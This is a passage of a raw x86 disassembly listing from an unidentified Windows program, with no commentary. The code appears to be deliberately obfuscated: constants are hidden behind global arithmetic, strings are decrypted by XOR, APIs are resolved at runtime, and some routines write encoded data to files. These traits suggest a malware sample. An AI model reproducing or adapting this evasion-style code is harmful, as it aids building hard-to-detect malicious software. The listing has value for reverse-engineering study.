var_3C		= dword	ptr -3Ch
var_38		= word ptr -38h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		movsx	eax, word_5511C8
		movsx	edx, word_55120C
		add	eax, edx
		sub	eax, 7
		mov	[ebp+var_4], eax
		jmp	short loc_43A36E
; ---------------------------------------------------------------------------


loc_43A345:				; CODE XREF: sub_43A324+5Ej
		mov	eax, 30h
		mul	[ebp+var_4]
		mov	[ebp+var_20], eax
		mov	eax, dword_551248
		movsx	edx, word_551110
		add	eax, edx
		sub	eax, 5
		mov	edx, [ebp+var_20]
		mov	ds:dword_4CC650[edx], eax
		inc	[ebp+var_4]


loc_43A36E:				; CODE XREF: sub_43A324+1Fj
		mov	eax, dword_55114C
		add	eax, 5Dh
		movsx	edx, word_551144
		add	eax, edx
		cmp	[ebp+var_4], eax
		jb	short loc_43A345
		movsx	eax, word_55120C
		add	eax, dword_55110C
		sub	eax, 9
		push	eax
		call	ds:dword_44B084
		push	offset dword_551300
		push	offset dword_552A94
		push	7
		mov	eax, dword_551118
		sub	eax, 9
		push	eax
		push	offset dword_5529D4
		call	ds:dword_44B5D4
		mov	ebx, eax
		mov	eax, dword_551270
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_43A575
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, dword_551300
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	ebx, eax
		mov	eax, dword_5511B0
		add	eax, dword_5511D8
		sub	eax, 0Eh
		cmp	ebx, eax
		jnz	short loc_43A3FD
		mov	eax, dword_55124C
		sub	eax, 5
		cmp	[ebp+var_C], eax
		jnz	short loc_43A402


loc_43A3FD:				; CODE XREF: sub_43A324+CAj
		jmp	loc_43A506
; ---------------------------------------------------------------------------


loc_43A402:				; CODE XREF: sub_43A324+D7j
		movsx	eax, word_551120
		sub	eax, 3
		mov	[ebp+var_8], eax
		jmp	loc_43A4FA
; ---------------------------------------------------------------------------


loc_43A414:				; CODE XREF: sub_43A324+1DCj
		mov	eax, [ebp+var_8]
		mov	[ebp+var_30], eax
		mov	[ebp+var_38], 3
		lea	eax, [ebp+var_3C]
		push	eax
		lea	esi, [ebp+var_38]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, dword_551300
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, dword_551218
		movsx	edx, word_551214
		add	eax, edx
		sub	eax, 4
		cmp	eax, ebx
		jnz	loc_43A4F7
		lea	eax, [ebp+var_40]
		push	eax
		push	offset dword_552AA4
		mov	eax, [ebp+var_3C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_5510F0
		sub	eax, 3
		cmp	eax, ebx
		jnz	short loc_43A4EE
		lea	eax, off_5512FC
		mov	[ebp+var_24], eax
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		lea	eax, [ebp+var_44]
		push	eax
		push	offset dword_5529F4
		mov	eax, [ebp+var_24]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_551200
		add	eax, dword_5511F0
		sub	eax, 0Ch
		cmp	eax, ebx
		jnz	short loc_43A4DC
		lea	eax, [ebp+var_48]
		push	eax
		push	offset dword_5529F4
		push	[ebp+var_44]
		push	[ebp+var_40]
		call	sub_43C468
		add	esp, 10h
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+var_44]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43A4DC:				; CODE XREF: sub_43A324+193j
		mov	eax, [ebp+var_24]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_40]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43A4EE:				; CODE XREF: sub_43A324+15Aj
		mov	eax, [ebp+var_3C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43A4F7:				; CODE XREF: sub_43A324+130j
		inc	[ebp+var_8]


loc_43A4FA:				; CODE XREF: sub_43A324+EBj
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_8], eax
		jb	loc_43A414


loc_43A506:				; CODE XREF: sub_43A324:loc_43A3FDj
		lea	eax, off_551320
		mov	[ebp+var_10], eax
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		lea	eax, [ebp+var_14]
		push	eax
		push	offset dword_5529E4
		mov	eax, [ebp+var_10]
		push	eax
		mov	esi, [eax]
		call	dword ptr ds:0[esi]
		mov	eax, [ebp+var_10]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset dword_5529E4
		push	[ebp+var_14]
		push	dword_551300
		call	sub_43C468
		add	esp, 10h
		mov	[ebp+var_18], eax
		mov	ecx, dword_5510FC
		sub	ecx, 2
		cmp	eax, ecx
		jnz	short loc_43A575
		mov	eax, dword_551300
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		movsx	eax, word_55111C
		mov	dword_551300, eax


loc_43A575:				; CODE XREF: sub_43A324+A3j
					; sub_43A324+238j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43A324	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A57A	proc near		; DATA XREF: .data:005512E8o
		push	ebp
		mov	ebp, esp
		mov	eax, dword_551100
		cmp	ds:dword_55003C, eax
		jbe	short loc_43A595
		push	offset dword_55003C
		call	ds:dword_448014


loc_43A595:				; CODE XREF: sub_43A57A+Ej
		mov	eax, ds:dword_55003C
		pop	ebp
		retn	4
sub_43A57A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A59E	proc near		; CODE XREF: sub_44718F+B2p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= word ptr -40h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		movsx	eax, word_55115C
		sub	eax, 3
		mov	[ebp+var_44], eax
		mov	eax, dword_551250
		mov	edi, eax
		add	edi, dword_5511E8
		sub	edi, 9
		jmp	short loc_43A5D7
; ---------------------------------------------------------------------------


loc_43A5C9:				; CODE XREF: sub_43A59E+49j
		mov	edx, edi
		shl	edx, 1
		mov	cx, [ebx+edi*2]
		mov	[ebp+edx+var_40], cx
		inc	edi


loc_43A5D7:				; CODE XREF: sub_43A59E+29j
		mov	eax, dword_5510D0
		add	eax, 15h
		add	eax, dword_551154
		cmp	edi, eax
		jb	short loc_43A5C9
		lea	eax, dword_54EB80
		mov	[ebp+var_48], eax


loc_43A5F2:				; CODE XREF: sub_43A59E+6Fj
		inc	[ebp+var_44]
		mov	eax, [ebp+var_48]
		movzx	eax, word ptr [eax]
		cmp	[ebp+var_44], eax
		jnb	short loc_43A60F
		push	ebx
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_43F2CB
		add	esp, 8
		jmp	short loc_43A5F2
; ---------------------------------------------------------------------------


loc_43A60F:				; CODE XREF: sub_43A59E+60j
		movsx	esi, word_55112C
		sub	esi, 5
		jmp	short loc_43A62C
; ---------------------------------------------------------------------------


loc_43A61B:				; CODE XREF: sub_43A59E+A1j
		mov	edx, esi
		shl	edx, 1
		mov	ecx, [ebp+arg_4]
		mov	dx, [ebp+edx+var_40]
		mov	[ecx+esi*2], dx
		inc	esi


loc_43A62C:				; CODE XREF: sub_43A59E+7Bj
		mov	eax, dword_5511E0
		add	eax, 17h
		movsx	edx, word_5510E4
		add	eax, edx
		cmp	esi, eax
		jb	short loc_43A61B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43A59E	endp


; =============== S U B	R O U T	I N E =======================================



sub_43A646	proc near		; CODE XREF: sub_441AE5+96p
		push	ebx
		push	esi
		mov	esi, dword_551200
		add	esi, dword_55116C
		mov	ebx, dword_55114C
		add	ebx, 0CC244076h
		movsx	edx, word_5511AC
		add	ebx, edx
		mov	ds:dword_54EB9C[esi*4],	ebx
		mov	esi, dword_551190
		movsx	ebx, word_551274
		mov	edx, dword_551124
		lea	ebx, [ebx+edx-7965178Bh]
		mov	ds:dword_54EBB0[esi*4],	ebx
		mov	esi, dword_5510BC
		mov	ebx, dword_5510B4
		add	ebx, 3D357C63h
		movsx	edx, word_551234
		add	ebx, edx
		mov	ds:dword_54EBE0[esi*4],	ebx
		mov	esi, dword_5511D4
		movsx	ebx, word_5511A8
		add	esi, ebx
		mov	ebx, dword_551128
		add	ebx, 1B77E1DAh
		mov	ds:dword_54EBB0[esi*4],	ebx
		movsx	esi, word_551214
		mov	ebx, dword_551138
		add	ebx, 505215ADh
		mov	ds:dword_54EBCC[esi*4],	ebx
		movsx	esi, word_55111C
		mov	ebx, dword_551100
		lea	esi, [esi+ebx+0Eh]
		mov	ebx, dword_5510C4
		add	ebx, 14F8050Fh
		mov	ds:dword_54EBC0[esi*4],	ebx
		mov	esi, dword_5510C4
		mov	ebx, dword_5510FC
		add	ebx, 6E0637BDh
		movsx	edx, word_55120C
		add	ebx, edx
		mov	ds:dword_54EBD8[esi*4],	ebx
		movsx	esi, word_5511BC
		movsx	ebx, word_55111C
		lea	esi, [esi+ebx+6]
		movsx	ebx, word_5511C8
		add	ebx, 1E4E873Dh
		mov	ds:dword_54EBC0[esi*4],	ebx
		movsx	esi, word_55112C
		mov	ebx, esi
		add	ebx, 0E383CCDAh
		mov	ds:dword_54EBDC[esi*4],	ebx
		mov	esi, dword_551098
		add	esi, dword_5511F8
		mov	ebx, dword_5511E0
		add	ebx, 0D24B644Dh
		add	ebx, dword_55118C
		mov	ds:dword_54EBB8[esi*4],	ebx
		mov	eax, dword_551258
		mov	ecx, eax
		add	ecx, dword_5510B4
		sub	ecx, 4
		jmp	short loc_43A7C2
; ---------------------------------------------------------------------------


loc_43A7A8:				; CODE XREF: sub_43A646+18Aj
		mov	esi, dword_5510C0
		movsx	ebx, word_551194
		add	esi, ebx
		sub	esi, 8
		mov	ds:dword_54EB80[ecx*4],	esi
		inc	ecx


loc_43A7C2:				; CODE XREF: sub_43A646+160j
		mov	eax, dword_5510B8
		add	eax, dword_5511E0
		dec	eax
		cmp	ecx, eax
		jb	short loc_43A7A8
		mov	ecx, dword_551250
		mov	esi, dword_55116C
		add	esi, 3
		add	esi, dword_5511E4
		mov	ds:dword_54EB78[ecx*4],	esi
		mov	ecx, dword_55110C
		add	ecx, dword_551160
		movsx	esi, word_551234
		add	esi, 0D76ADDDEh
		mov	ds:dword_54EB98[ecx*4],	esi
		movsx	ecx, word_551120
		mov	esi, ecx
		add	esi, dword_551174
		mov	ebx, dword_551198
		lea	ecx, [ecx+ebx-400281DAh]
		mov	ds:dword_54EBB4[esi*4],	ecx
		mov	ecx, dword_551250
		mov	esi, dword_551178
		add	esi, 0E1F7EEA2h
		add	esi, dword_551100
		mov	ds:dword_54EBB8[ecx*4],	esi
		movsx	ecx, word_551254
		mov	esi, dword_551114
		add	esi, 280E85D3h
		mov	ds:dword_54EBC4[ecx*4],	esi
		mov	ecx, dword_551134
		add	ecx, dword_551128
		movsx	esi, word_5511BC
		add	esi, 323D4732h
		mov	ds:dword_54EBB8[ecx*4],	esi
		movsx	ecx, word_5510EC
		movsx	esi, word_5510D8
		add	esi, 1AB051F0h
		mov	ds:dword_54EBE8[ecx*4],	esi
		pop	esi
		pop	ebx
		retn
sub_43A646	endp


; =============== S U B	R O U T	I N E =======================================



sub_43A8A8	proc near		; DATA XREF: .data:00551314o
		mov	eax, 80004001h
		retn	10h
sub_43A8A8	endp

; ---------------------------------------------------------------------------


loc_43A8B0:				; DATA XREF: sub_445D32+7o
		mov	eax, dword_551128
		sub	eax, 6
		push	eax
		call	ds:dword_54EA60
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43A8C0	proc near		; CODE XREF: sub_43E491+20p
		push	edi
		push	offset word_5529C2
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_551288, eax
		movsx	eax, word_5510CC
		movsx	edx, word_5511C4
		add	eax, edx
		sub	eax, 0Ch
		cmp	dword_551288, eax
		jnz	short loc_43A90A
		push	offset asc_5529B5 ; "\t"
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_48C318
		mov	dword_551288, eax


loc_43A90A:				; CODE XREF: sub_43A8C0+31j
		push	offset asc_5529A6 ; "\v"
		call	sub_43AC94
		pop	ecx
		push	eax
		push	dword_551288
		call	ds:dword_44B1AC
		mov	ds:dword_4CC320, eax
		pop	edi
		retn
sub_43A8C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_43A929	proc near		; CODE XREF: sub_43F2CB+DDp
					; sub_43F2CB+137p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	esi, [esp+8+arg_4]
		movsx	eax, word_551170
		mov	ecx, eax
		add	ecx, 1Fh
		movsx	eax, word_551268
		sub	eax, 2
		sub	ecx, eax
		jmp	short loc_43A96B
; ---------------------------------------------------------------------------


loc_43A94D:				; CODE XREF: sub_43A929+54j
		mov	dx, [ebx+ecx*2]
		cmp	dx, [esi+ecx*2]
		jnb	short loc_43A95B
		xor	eax, eax
		jmp	short loc_43A982
; ---------------------------------------------------------------------------


loc_43A95B:				; CODE XREF: sub_43A929+2Cj
		mov	dx, [ebx+ecx*2]
		cmp	dx, [esi+ecx*2]
		jbe	short loc_43A96A
		xor	eax, eax
		inc	eax
		jmp	short loc_43A982
; ---------------------------------------------------------------------------


loc_43A96A:				; CODE XREF: sub_43A929+3Aj
		dec	ecx


loc_43A96B:				; CODE XREF: sub_43A929+22j
		movsx	eax, word_5510CC
		add	eax, dword_5510A4
		sub	eax, 0Eh
		cmp	ecx, eax
		jge	short loc_43A94D
		xor	eax, eax
		inc	eax


loc_43A982:				; CODE XREF: sub_43A929+30j
					; sub_43A929+3Fj
		pop	esi
		pop	ebx
		retn
sub_43A929	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A985	proc near		; DATA XREF: sub_441AE5+49o
					; sub_441AE5+FAo ...

var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 124h
		push	ebx
		push	esi
		push	edi
		push	493E0h
		push	40h
		call	ds:dword_48B9EC
		mov	[ebp+var_4], eax
		push	61A80h
		push	40h
		call	ds:dword_48B9EC
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		add	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_44799C
		mov	eax, [ebp+var_4]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_43A9C7:				; CODE XREF: sub_43A985+47j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43A9C7
		mov	[ebp+var_8], eax
		mov	edi, dword_5511E4
		sub	edi, 5
		jmp	short loc_43AA17
; ---------------------------------------------------------------------------


loc_43A9DC:				; CODE XREF: sub_43A985+95j
		mov	eax, edi
		add	eax, [ebp+var_4]
		mov	[ebp+var_118], eax
		movzx	edx, byte ptr [eax]
		mov	[ebp+var_120], edx
		mov	eax, edi
		mov	[ebp+var_11C], eax
		mul	edi
		mov	[ebp+var_124], eax
		mov	eax, [ebp+var_120]
		mov	edx, [ebp+var_124]
		add	eax, edx
		mov	edx, [ebp+var_118]
		mov	[edx], al
		inc	edi


loc_43AA17:				; CODE XREF: sub_43A985+55j
		cmp	edi, [ebp+var_8]
		jb	short loc_43A9DC
		mov	eax, dword_551184
		add	eax, 61A78h
		push	eax
		push	ebx
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_4421CF
		add	esp, 10h
		mov	eax, dword_551154
		mov	esi, eax
		add	esi, dword_551150
		sub	esi, 0Bh
		jmp	short loc_43AA5D
; ---------------------------------------------------------------------------


loc_43AA48:				; CODE XREF: sub_43A985+E6j
		cmp	byte ptr [ebx+esi], 2Bh
		jnz	short loc_43AA52
		mov	byte ptr [ebx+esi], 28h


loc_43AA52:				; CODE XREF: sub_43A985+C7j
		cmp	byte ptr [ebx+esi], 3Dh
		jnz	short loc_43AA5C
		mov	byte ptr [ebx+esi], 29h


loc_43AA5C:				; CODE XREF: sub_43A985+D1j
		inc	esi


loc_43AA5D:				; CODE XREF: sub_43A985+C1j
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_43AA62:				; CODE XREF: sub_43A985+E2j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43AA62
		cmp	esi, eax
		jb	short loc_43AA48
		mov	eax, dword_551118
		sub	eax, 9
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 50h
		jnz	short loc_43AAB1
		push	offset dword_4CD930
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_44799C
		mov	eax, dword_5510C8
		add	eax, 1
		push	eax
		push	ebx
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_442677
		add	esp, 0Ch
		cmp	eax, 0
		jnz	loc_43AC67


loc_43AAB1:				; CODE XREF: sub_43A985+F7j
		mov	eax, dword_5510E0
		add	eax, dword_5510E8
		sub	eax, 8
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 44h
		jnz	short loc_43AAD9
		push	offset dword_4CC540
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_44799C


loc_43AAD9:				; CODE XREF: sub_43A985+141j
		mov	eax, dword_551114
		add	eax, dword_5511B0
		sub	eax, 9
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_43AB01
		push	offset dword_44B0A0
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_44799C


loc_43AB01:				; CODE XREF: sub_43A985+169j
		mov	eax, dword_5511B0
		sub	eax, 7
		push	eax
		movsx	eax, word_5511C4
		sub	eax, 7
		push	eax
		push	4
		movsx	eax, word_5510D8
		movsx	edx, word_551188
		mov	ecx, eax
		add	ecx, edx
		mov	edx, ecx
		sub	edx, 0Eh
		push	edx
		sub	eax, 9
		push	eax
		push	40000000h
		lea	eax, [ebp+var_114]
		push	eax
		call	ds:dword_54FC18
		mov	[ebp+var_C], eax
		push	2
		mov	eax, dword_551230
		sub	eax, 5
		push	eax
		movsx	eax, word_5510F0
		sub	eax, 3
		push	eax
		push	[ebp+var_C]
		call	ds:dword_550030
		push	offset word_55299E
		call	sub_43AC94
		pop	ecx
		mov	edx, dword_551098
		sub	edx, 2
		push	edx
		lea	edx, [ebp+var_10]
		push	edx
		mov	edx, dword_5511E8
		movsx	ecx, word_551168
		add	edx, ecx
		sub	edx, 7
		push	edx
		push	eax
		push	[ebp+var_C]
		call	ds:dword_55001C
		mov	eax, dword_55119C
		sub	eax, 7
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_43ABE5
		push	offset byte_552999
		call	sub_43AC94
		pop	ecx
		movsx	edx, word_55115C
		sub	edx, 3
		push	edx
		lea	edx, [ebp+var_10]
		push	edx
		mov	edx, dword_55109C
		movsx	ecx, word_5510E4
		add	edx, ecx
		sub	edx, 6
		push	edx
		push	eax
		push	[ebp+var_C]
		call	ds:dword_55001C


loc_43ABE5:				; CODE XREF: sub_43A985+227j
		mov	eax, dword_5511E0
		sub	eax, 9
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 50h
		jnz	short loc_43AC21
		push	offset dword_552994
		call	sub_43AC94
		pop	ecx
		movsx	edx, word_551110
		dec	edx
		push	edx
		lea	edx, [ebp+var_10]
		push	edx
		movsx	edx, word_551224
		dec	edx
		push	edx
		push	eax
		push	[ebp+var_C]
		call	ds:dword_55001C


loc_43AC21:				; CODE XREF: sub_43A985+26Fj
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_43AC26:				; CODE XREF: sub_43A985+2A6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43AC26
		mov	edx, eax
		movsx	ecx, word_551120
		movsx	eax, word_55115C
		add	ecx, eax
		sub	ecx, 6
		push	ecx
		lea	ecx, [ebp+var_10]
		push	ecx
		movsx	ecx, word_55123C
		sub	ecx, 2
		add	ecx, edx
		push	ecx
		push	ebx
		push	[ebp+var_C]
		call	ds:dword_55001C
		push	[ebp+var_C]
		call	ds:dword_4CDA48


loc_43AC67:				; CODE XREF: sub_43A985+126j
		push	[ebp+var_4]
		call	ds:dword_44B5CC
		push	ebx
		call	ds:dword_44B5CC
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43A985	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AC7C	proc near		; CODE XREF: sub_441EAC+53p
					; sub_441EAC+68p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	[ebp+arg_0]
		push	dword_551284
		call	ds:dword_44B1AC
		mov	edi, eax
		pop	edi
		pop	ebp
		retn
sub_43AC7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AC94	proc near		; CODE XREF: sub_43A8C0+6p
					; sub_43A8C0+38p ...

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword_551278, 0
		jnz	short loc_43ACBC
		push	offset dword_550160
		call	ds:dword_449FCC
		mov	dword_551278, 1


loc_43ACBC:				; CODE XREF: sub_43AC94+11j
		mov	esi, dword_5510C4
		add	esi, dword_5511F0
		sub	esi, 0Fh
		movzx	ebx, byte ptr [edi]
		movzx	edx, byte ptr [edi+1]
		movzx	edx, dx
		shl	edx, 8
		or	ebx, edx
		movzx	ebx, bx
		add	esi, ebx
		mov	[ebp+var_4], si
		movzx	eax, [ebp+var_4]
		mov	edx, dword_5511F8
		sub	edx, 4
		cmp	eax, edx
		jz	loc_43AD83
		push	offset dword_550160
		call	ds:dword_54EA5C
		movsx	eax, word_551188
		sub	eax, 2
		mov	[ebp+var_2], ax
		jmp	short loc_43AD28
; ---------------------------------------------------------------------------


loc_43AD13:				; CODE XREF: sub_43AC94+9Ej
		movzx	eax, [ebp+var_2]
		add	eax, edi
		movsx	edx, byte ptr [eax]
		movsx	ecx, byte ptr [edi+2]
		xor	edx, ecx
		mov	[eax], dl
		inc	[ebp+var_2]


loc_43AD28:				; CODE XREF: sub_43AC94+7Dj
		movzx	eax, [ebp+var_2]
		movzx	edx, [ebp+var_4]
		cmp	eax, edx
		jl	short loc_43AD13
		movsx	eax, word_551120
		movsx	edx, word_55120C
		add	eax, edx
		sub	eax, 3
		movsx	edx, word_551094
		sub	edx, 3
		mov	[edi+eax], dl
		movsx	eax, word_55111C
		movsx	edx, word_5510E4
		lea	eax, [eax+edx+1]
		mov	edx, dword_5510C0
		add	edx, dword_5510B4
		sub	edx, 5
		mov	[edi+eax], dl
		push	offset dword_550160
		call	ds:dword_4CDA40


loc_43AD83:				; CODE XREF: sub_43AC94+5Ej
		lea	eax, [edi+3]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43AC94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AD8B	proc near		; CODE XREF: sub_43E491+3A8p
					; sub_441AE5+184p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, dword_55122C
		movsx	edx, word_5510A0
		add	eax, edx
		sub	eax, 8
		push	eax
		movsx	eax, word_5511C8
		add	eax, dword_55110C
		sub	eax, 10h
		push	eax
		push	[ebp+arg_0]
		mov	eax, dword_55125C
		add	eax, dword_551118
		sub	eax, 0Eh
		push	eax
		mov	eax, dword_5510F4
		add	eax, dword_5510B8
		sub	eax, 0Ah
		push	eax
		call	ds:dword_550020
		push	eax
		call	ds:dword_4CDA48
		leave
		retn
sub_43AD8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43ADE6	proc near		; CODE XREF: sub_442BEC:loc_442BEFp

var_252		= byte ptr -252h
var_236		= dword	ptr -236h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	esi
		push	edi
		lea	eax, [ebp+var_114]
		push	eax
		mov	eax, dword_5511E8
		add	eax, dword_5511F8
		sub	eax, 0Eh
		push	eax
		mov	eax, dword_55114C
		sub	eax, 6
		push	eax
		push	20h
		mov	eax, dword_55109C
		add	eax, dword_5510C4
		sub	eax, 10h
		push	eax
		call	ds:dword_48BA00
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4CC530
		movzx	eax, [ebp+var_E]
		mov	edx, dword_551134
		add	edx, 0A8B7h
		add	edx, dword_5510E0
		imul	eax, edx
		movzx	edx, [ebp+var_8]
		mov	ecx, dword_55121C
		add	ecx, 3Ch
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_10]
		mov	ecx, dword_551184
		add	ecx, 7E8F5h
		add	ecx, dword_551138
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_A]
		mov	ecx, dword_5510A4
		add	ecx, 596h
		add	ecx, dword_551174
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_6]
		add	eax, edx
		mov	ds:dword_448030, eax
		mov	eax, dword_5511D4
		add	eax, dword_5510F8
		sub	eax, 0Ch
		mov	[ebp+var_236], eax
		lea	esi, [ebp+var_252]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_114]
		push	edi
		call	sub_446E8A
		add	esp, 144h
		pop	edi
		pop	esi
		leave
		retn
sub_43ADE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AEDD	proc near		; CODE XREF: sub_43E04C+45p
					; sub_4423A6+274p ...

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword_551278, 0
		jnz	short loc_43AF05
		push	offset dword_550160
		call	ds:dword_449FCC
		mov	dword_551278, 1


loc_43AF05:				; CODE XREF: sub_43AEDD+11j
		mov	esi, dword_55122C
		add	esi, 5
		movzx	ebx, byte ptr [edi]
		movzx	edx, byte ptr [edi+2]
		movzx	edx, dx
		shl	edx, 8
		or	ebx, edx
		movzx	ebx, bx
		movsx	edx, word_551240
		movsx	ecx, word_5510D8
		add	edx, ecx
		sub	edx, 8
		imul	ebx, edx
		add	esi, ebx
		mov	[ebp+var_4], si
		movzx	eax, [ebp+var_4]
		mov	edx, dword_5511FC
		inc	edx
		add	edx, dword_55117C
		cmp	eax, edx
		jz	loc_43AFE5
		push	offset dword_550160
		call	ds:dword_54EA5C
		mov	eax, dword_551204
		add	eax, 3
		movsx	edx, word_5510E4
		add	eax, edx
		mov	[ebp+var_2], ax
		jmp	short loc_43AF99
; ---------------------------------------------------------------------------


loc_43AF77:				; CODE XREF: sub_43AEDD+C6j
		movzx	eax, [ebp+var_2]
		add	eax, edi
		movsx	edx, byte ptr [eax]
		movsx	ecx, byte ptr [edi+4]
		xor	edx, ecx
		mov	[eax], dl
		movzx	eax, [ebp+var_2]
		mov	edx, dword_551178
		dec	edx
		add	eax, edx
		mov	[ebp+var_2], ax


loc_43AF99:				; CODE XREF: sub_43AEDD+98j
		movzx	eax, [ebp+var_2]
		movzx	edx, [ebp+var_4]
		cmp	eax, edx
		jl	short loc_43AF77
		mov	eax, dword_55109C
		movsx	edx, word_551168
		add	eax, edx
		sub	eax, 0Bh
		mov	edx, dword_551200
		sub	edx, 3
		mov	[edi+eax], dl
		mov	eax, dword_5510FC
		movsx	edx, word_551268
		add	edx, dword_5510E8
		sub	edx, 0Ah
		mov	[edi+eax], dl
		push	offset dword_550160
		call	ds:dword_4CDA40


loc_43AFE5:				; CODE XREF: sub_43AEDD+72j
		lea	eax, [edi+6]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43AEDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AFED	proc near		; DATA XREF: .data:005512C4o
		push	ebp
		mov	ebp, esp
		push	offset dword_54FC14
		call	ds:dword_48B9F8
		mov	eax, ds:dword_54FC14
		pop	ebp
		retn	4
sub_43AFED	endp


; =============== S U B	R O U T	I N E =======================================



sub_43B004	proc near		; CODE XREF: sub_43B841p sub_446E57p
		push	edi
		push	offset word_552986
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_551280, eax
		mov	eax, dword_5510F4
		sub	eax, 2
		cmp	dword_551280, eax
		jnz	short loc_43B043
		push	offset dword_552978
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_48C318
		mov	dword_551280, eax


